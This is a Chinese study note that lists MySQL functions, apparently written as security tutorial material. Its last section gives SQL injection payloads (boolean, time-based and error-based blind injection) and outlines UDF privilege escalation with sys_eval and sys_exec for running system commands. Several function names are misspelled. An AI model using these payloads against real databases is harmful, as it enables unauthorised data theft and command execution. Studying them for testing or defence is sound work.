數(shù)學(xué)函數(shù)：

bin(x)/hex(x) 返回x的二進(jìn)制/十六進(jìn)制編碼

abs(x) x的絕對值

mod(x,y) 求余運(yùn)算

sqrt(x) 平方根運(yùn)算

ceil(x) / ceiling(x)

rand() 返回0~1之間的浮點(diǎn)數(shù)

round(x,D) 四舍五入保留D位小數(shù)

sign(x) 返回x的符號

pow(x,y) x的y次冪

exp(x) e的x次冪

floor(x) 返回小于或等于x的最大整數(shù)

count(x) 返回查詢的記錄總數(shù)

sum() 返回計(jì)算總和

日期函數(shù)：

addate(d,n) 計(jì)算起始日期d加上n天的日期

addtime(t,n) 計(jì)算t加上n秒的時(shí)間

curdate() current_date()返回當(dāng)前日期

curtime() current_time()返回當(dāng)前時(shí)間

current_timestamp() localtime() now() sysdate() 返回日期和時(shí)間

字符串函數(shù)：

ascii(str) 返回字符串第一個(gè)字符的ASCII值

char_langth(str) 統(tǒng)計(jì)字符串的字符數(shù)

length(str) 返回str字符串的長度

insert(str,x,y,insert) 將字符串從x開始，y個(gè)字符長度替換為字符串insert

lpad(s1,len,s2) 在字符串s1的開始處填充字符串s2，使得長度達(dá)到len

rpad(s1,len,s2) 在字符串s1的結(jié)尾處填充字符串s2，使得長度達(dá)到len

ltrim(s)/rtrim(s) 刪除字符串s的開始/結(jié)尾處的空格

locate(s1,s) 從字符串s中獲取s1的開始位置

position(s1 in s2) 從字符串s中獲取s1開始的位置

left(s,n)返回字符串s的前n個(gè)字符

right(s,n) 返回字符串s的后n個(gè)字符

mid(s,n,len),substring(s,n,len),substr(s,n,len) 從n位置字符串s截取len

concat(s1,s2,…)返回s1，s2連接的字符串

concat_ws(s1,s2,'char'^) 返回可自由添加分隔符的拼接字符串

lcase() lower() 字母小寫轉(zhuǎn)換

ucase(s) upper(s) 字母大寫轉(zhuǎn)換

field() 返回第一個(gè)字符串在字符串列表的位置

find_in_set(s1,s2) 返回字符串s1在字符串s2的匹配位置

repeat(s,n) 字符串s重復(fù)n次

reverse(s) 字符串反序

strcmp(s1,s2) 比較字符串s1,s2并返回比較結(jié)果

nullif(exp1,exp2) 比較兩個(gè)字符串

formax(x,n) 對數(shù)字x進(jìn)行格式化，將x保留到小數(shù)點(diǎn)后n位（四舍五入）

truncate(x,y) 返回?cái)?shù)值x保留到小數(shù)點(diǎn)后y位的值，（不會四舍五入）

binary(s) 將字符串s轉(zhuǎn)換為二進(jìn)制字符串

特殊函數(shù)：

connection_id() 返回連接該數(shù)據(jù)庫服務(wù)器 的ID

current_user() sssion_user system_user() user() 返回當(dāng)前用戶名

database() 返回當(dāng)前數(shù)據(jù)庫名

version() 返回?cái)?shù)據(jù)庫的版本號

@@version_compile_os 查看系統(tǒng)架構(gòu)

@@version_compile_machine 查看mysql架構(gòu)

@@datadir 查看數(shù)據(jù)的存儲目錄

函數(shù)的利用姿勢：

length函數(shù)：判斷長度

select length(database());

count()函數(shù)：返回匹配指定條件的行數(shù)

union select 1,count(*),3 from user;-- 查看當(dāng)前表的數(shù)量

mid()函數(shù)：用于從字段中提?。ㄒ欢危┳址ú紶?時(shí)間/報(bào)錯(cuò) 盲注）

and mid(user(),1,1)='r';

and if(mid(user(),1,1)='r',sleep(2),1);

and updatexml(1,mid(concat(0x7e,user()),1,5),1)

group by語句：結(jié)合聚合函數(shù)使用（報(bào)錯(cuò)注入）

and (select 1 from(select count(*),concat(user(),0x7e,floor(rand(0)*2))x from information_schema.tables group bu x)a)

if(1,2,3)：時(shí)間盲注

select if(1=1,sleep(2),1)

MySQL執(zhí)行系統(tǒng)命令

system 執(zhí)行格式：

mysql> system <linux命令>

UDF提權(quán)執(zhí)行系統(tǒng)命令：

• UDF是MySQL用戶自定義的函數(shù)，

• 要求：

  plugin目錄具備讀寫權(quán)限

查看系統(tǒng)和MySQL架構(gòu)

select @@version_compile_os , @@version_compile_machine ;

UDF庫需要放在MySQL的plugin文件中

select @@plugin_dir;

自定義創(chuàng)建函數(shù)語法：

create [aggregate] function <function_name> returns <string|integer|real> soname 'file_name';

AGGREGATE 表示聚合函數(shù)，系統(tǒng)定義的聚合函數(shù)有：count(),ave(),mn(),sum()

SONAME 表示這個(gè)函數(shù)從哪個(gè)文件中引入，這個(gè)文件一般是動態(tài)鏈接庫，windows是dll，linux是so，并且這個(gè)文件再mysql的plugin目錄下；

UDF支持的函數(shù)：

sys_eval 執(zhí)行任意命令，并返回他的輸出

sys_exec 執(zhí)行任意命令，并返回他的退出代碼

sys_get 獲取環(huán)境變量的值

sys_set 創(chuàng)建環(huán)境變量或更新現(xiàn)有的環(huán)境變量的值